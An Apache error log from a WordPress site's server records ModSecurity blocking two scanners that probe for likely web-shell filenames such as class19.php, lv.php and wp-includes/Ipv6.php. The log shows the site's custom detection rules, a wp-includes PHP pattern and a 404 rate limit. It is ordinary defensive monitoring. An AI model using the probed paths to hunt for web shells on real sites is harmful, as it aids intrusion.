[Thu Apr 09 18:02:58.021859 2026] [:error] [pid 18477:tid 18489] [client 20.240.63.86:31659] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "add5UsDe826HlFeoLPJtGQAAAUo"]
[Thu Apr 09 18:02:59.457835 2026] [:error] [pid 18477:tid 18491] [client 20.240.63.86:32686] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "add5U8De826HlFeoLPJtHAAAAUw"]
[Thu Apr 09 18:03:01.866632 2026] [:error] [pid 18477:tid 18479] [client 20.240.63.86:20590] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "add5VcDe826HlFeoLPJtIAAAAUA"]
[Thu Apr 09 18:03:02.770145 2026] [:error] [pid 20837:tid 20860] [client 20.240.63.86:31641] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "add5VvSL71FHZkjrGzPFdwAAAZU"]
[Thu Apr 09 18:03:03.512962 2026] [:error] [pid 24927:tid 24933] [client 20.240.63.86:31633] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "add5VzXObuzEuw8mNJvjVAAAAQM"]
[Thu Apr 09 18:03:05.172402 2026] [proxy_fcgi:error] [pid 24515:tid 24529] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:05.499553 2026] [proxy_fcgi:error] [pid 24515:tid 24537] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:05.795454 2026] [proxy_fcgi:error] [pid 24515:tid 24528] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:06.101346 2026] [proxy_fcgi:error] [pid 24515:tid 24531] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:06.517957 2026] [proxy_fcgi:error] [pid 24515:tid 24525] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:06.897734 2026] [proxy_fcgi:error] [pid 24515:tid 24536] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:07.202859 2026] [proxy_fcgi:error] [pid 24515:tid 24535] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 18:03:07.482873 2026] [proxy_fcgi:error] [pid 24515:tid 24540] [client 20.240.63.86:37870] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:48.111070 2026] [proxy_fcgi:error] [pid 24927:tid 24941] [client 158.158.108.248:1186] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:48.357077 2026] [proxy_fcgi:error] [pid 24927:tid 24931] [client 158.158.108.248:1186] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:48.600793 2026] [proxy_fcgi:error] [pid 24927:tid 24930] [client 158.158.108.248:1186] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:48.862747 2026] [proxy_fcgi:error] [pid 24927:tid 24949] [client 158.158.108.248:1186] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:49.126770 2026] [proxy_fcgi:error] [pid 24927:tid 24943] [client 158.158.108.248:1186] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:49.573985 2026] [:error] [pid 24927:tid 24941] [client 158.158.108.248:1186] [client 158.158.108.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Ipv6.php"] [unique_id "adeHHTXObuzEuw8mNJsKQgAAAQs"]
[Thu Apr 09 19:01:50.222720 2026] [proxy_fcgi:error] [pid 20837:tid 20844] [client 158.158.108.248:31762] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:50.502221 2026] [proxy_fcgi:error] [pid 20837:tid 20856] [client 158.158.108.248:31762] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:50.746696 2026] [proxy_fcgi:error] [pid 20837:tid 20841] [client 158.158.108.248:31762] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:50.989663 2026] [proxy_fcgi:error] [pid 20837:tid 20850] [client 158.158.108.248:31762] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:51.243158 2026] [proxy_fcgi:error] [pid 20837:tid 20853] [client 158.158.108.248:31762] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 19:01:51.500441 2026] [:error] [pid 20837:tid 20858] [client 158.158.108.248:31762] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "adeHH_SL71FHZkjrGzPR9wAAAZM"]
[Thu Apr 09 19:01:52.032960 2026] [:error] [pid 24515:tid 24520] [client 158.158.108.248:19026] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "adeHIK1OMnvM2fMnB1OGFwAAAAE"]
[Thu Apr 09 19:01:52.711157 2026] [:error] [pid 24515:tid 24530] [client 158.158.108.248:36103] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "adeHIK1OMnvM2fMnB1OGGwAAAAs"]
[Thu Apr 09 19:01:53.289623 2026] [:error] [pid 24515:tid 24542] [client 158.158.108.248:31759] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Ipv6.php"] [unique_id "adeHIa1OMnvM2fMnB1OGHQAAABc"]
[Thu Apr 09 19:01:54.353792 2026] [:error] [pid 18477:tid 18480] [client 158.158.108.248:18639] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "adeHIsDe826HlFeoLPKHdAAAAUE"]
[Thu Apr 09 19:01:54.924336 2026] [:error] [pid 18477:tid 18496] [client 158.158.108.248:36101] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "adeHIsDe826HlFeoLPKHdwAAAVE"]
[Thu Apr 09 19:01:55.523069 2026] [:error] [pid 18477:tid 18484] [client 158.158.108.248:18187] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "adeHI8De826HlFeoLPKHeQAAAUU"]
[Thu Apr 09 19:01:56.069120 2026] [:error] [pid 18477:tid 18489] [client 158.158.108.248:18645] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-gertdxz.php"] [unique_id "adeHJMDe826HlFeoLPKHfAAAAUo"]
[Thu Apr 09 19:01:56.595509 2026] [:error] [pid 18477:tid 18483] [client 158.158.108.248:18221] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "adeHJMDe826HlFeoLPKHgAAAAUQ"]
[Thu Apr 09 19:01:57.142576 2026] [:error] [pid 24624:tid 24648] [client 158.158.108.248:36121] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "adeHJe4Jn-WvK1ZBTvjAOAAAANY"]
[Thu Apr 09 19:01:57.718496 2026] [:error] [pid 24624:tid 24629] [client 158.158.108.248:24201] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "adeHJe4Jn-WvK1ZBTvjAOgAAAMM"]
[Thu Apr 09 19:01:58.395694 2026] [:error] [pid 24624:tid 24639] [client 158.158.108.248:2008] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "adeHJu4Jn-WvK1ZBTvjAPwAAAM0"]
[Thu Apr 09 19:01:58.931225 2026] [:error] [pid 18477:tid 18493] [client 158.158.108.248:18651] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "adeHJsDe826HlFeoLPKHhwAAAU4"]
[Thu Apr 09 19:01:59.856529 2026] [:error] [pid 24516:tid 24555] [client 158.158.108.248:31784] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "adeHJ9hW7vSS-UkeWCUkaQAAAEg"]
[Thu Apr 09 19:02:00.368658 2026] [:error] [pid 24927:tid 24930] [client 158.158.108.248:14368] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "adeHKDXObuzEuw8mNJsKTgAAAQA"]
[Thu Apr 09 19:02:00.864766 2026] [:error] [pid 24624:tid 24643] [client 158.158.108.248:31778] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "adeHKO4Jn-WvK1ZBTvjARQAAANE"]
[Thu Apr 09 19:02:01.430528 2026] [:error] [pid 24515:tid 24520] [client 158.158.108.248:1780] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adeHKa1OMnvM2fMnB1OGKAAAAAE"]
[Thu Apr 09 19:02:01.923369 2026] [:error] [pid 24515:tid 24530] [client 158.158.108.248:19714] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adeHKa1OMnvM2fMnB1OGLAAAAAs"]
[Thu Apr 09 19:02:02.463985 2026] [:error] [pid 24624:tid 24645] [client 158.158.108.248:16657] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adeHKu4Jn-WvK1ZBTvjASAAAANM"]
[Thu Apr 09 19:02:03.051389 2026] [:error] [pid 24515:tid 24522] [client 158.158.108.248:31755] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "adeHK61OMnvM2fMnB1OGLwAAAAM"]
[Thu Apr 09 19:02:03.803256 2026] [:error] [pid 24517:tid 24582] [client 158.158.108.248:1789] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "adeHK3boYEn2ZFM_PS912QAAAIg"]
[Thu Apr 09 19:02:04.372361 2026] [:error] [pid 24515:tid 24543] [client 158.158.108.248:2022] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "adeHLK1OMnvM2fMnB1OGMwAAABg"]
[Thu Apr 09 19:02:04.911727 2026] [:error] [pid 24515:tid 24527] [client 158.158.108.248:18626] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "adeHLK1OMnvM2fMnB1OGNAAAAAg"]
[Thu Apr 09 19:02:05.396183 2026] [:error] [pid 18477:tid 18500] [client 158.158.108.248:38725] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "adeHLcDe826HlFeoLPKHigAAAVU"]
[Thu Apr 09 19:02:05.912989 2026] [:error] [pid 24515:tid 24541] [client 158.158.108.248:38747] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "adeHLa1OMnvM2fMnB1OGNQAAABY"]
[Thu Apr 09 19:02:06.521682 2026] [:error] [pid 18477:tid 18498] [client 158.158.108.248:18647] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "adeHLsDe826HlFeoLPKHjgAAAVM"]
[Thu Apr 09 19:02:07.129083 2026] [:error] [pid 18477:tid 18482] [client 158.158.108.248:17525] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "adeHL8De826HlFeoLPKHjwAAAUM"]
[Thu Apr 09 19:02:07.654614 2026] [:error] [pid 24515:tid 24540] [client 158.158.108.248:24245] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "adeHL61OMnvM2fMnB1OGOAAAABU"]
[Thu Apr 09 19:02:08.197664 2026] [:error] [pid 18477:tid 18493] [client 158.158.108.248:1197] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adeHMMDe826HlFeoLPKHkgAAAU4"]
[Thu Apr 09 19:02:08.688613 2026] [:error] [pid 24515:tid 24522] [client 158.158.108.248:18176] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adeHMK1OMnvM2fMnB1OGPQAAAAM"]
[Thu Apr 09 19:02:09.228403 2026] [:error] [pid 24516:tid 24553] [client 158.158.108.248:18206] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adeHMdhW7vSS-UkeWCUkawAAAEY"]
[Thu Apr 09 19:02:09.798541 2026] [:error] [pid 24516:tid 24567] [client 158.158.108.248:19011] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "adeHMdhW7vSS-UkeWCUkbQAAAFQ"]
[Thu Apr 09 19:02:10.457160 2026] [:error] [pid 20837:tid 20847] [client 158.158.108.248:24218] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adeHMvSL71FHZkjrGzPR_gAAAYg"]
[Thu Apr 09 19:02:11.019904 2026] [:error] [pid 24624:tid 24649] [client 158.158.108.248:1739] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adeHM-4Jn-WvK1ZBTvjATwAAANc"]
[Thu Apr 09 19:02:11.578097 2026] [:error] [pid 18477:tid 18491] [client 158.158.108.248:1767] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adeHM8De826HlFeoLPKHlQAAAUw"]
[Thu Apr 09 19:02:12.346697 2026] [:error] [pid 24624:tid 24627] [client 158.158.108.248:43710] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "adeHNO4Jn-WvK1ZBTvjAUwAAAME"]
[Thu Apr 09 19:02:13.156494 2026] [:error] [pid 24517:tid 24579] [client 158.158.108.248:19740] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adeHNXboYEn2ZFM_PS913QAAAIU"]
[Thu Apr 09 19:02:13.749484 2026] [:error] [pid 24624:tid 24628] [client 158.158.108.248:16647] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adeHNe4Jn-WvK1ZBTvjAVQAAAMI"]
[Thu Apr 09 19:02:14.396408 2026] [:error] [pid 24517:tid 24575] [client 158.158.108.248:18190] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adeHNnboYEn2ZFM_PS913gAAAIE"]
[Thu Apr 09 19:02:15.312716 2026] [:error] [pid 24624:tid 24634] [client 158.158.108.248:14374] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wswer1.php"] [unique_id "adeHN-4Jn-WvK1ZBTvjAVgAAAMg"]
[Thu Apr 09 19:02:16.210817 2026] [:error] [pid 24927:tid 24939] [client 158.158.108.248:16676] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adeHODXObuzEuw8mNJsKWAAAAQk"]
[Thu Apr 09 19:02:16.813588 2026] [:error] [pid 24927:tid 24954] [client 158.158.108.248:19009] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adeHODXObuzEuw8mNJsKWgAAARg"]
[Thu Apr 09 19:02:17.893066 2026] [:error] [pid 24927:tid 24942] [client 158.158.108.248:16655] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adeHOTXObuzEuw8mNJsKXQAAAQw"]
[Thu Apr 09 19:02:18.739016 2026] [:error] [pid 24927:tid 24947] [client 158.158.108.248:24208] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adeHOjXObuzEuw8mNJsKYAAAARE"]
[Thu Apr 09 19:02:19.583423 2026] [:error] [pid 24927:tid 24930] [client 158.158.108.248:24252] [client 158.158.108.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adeHOzXObuzEuw8mNJsKYwAAAQA"]
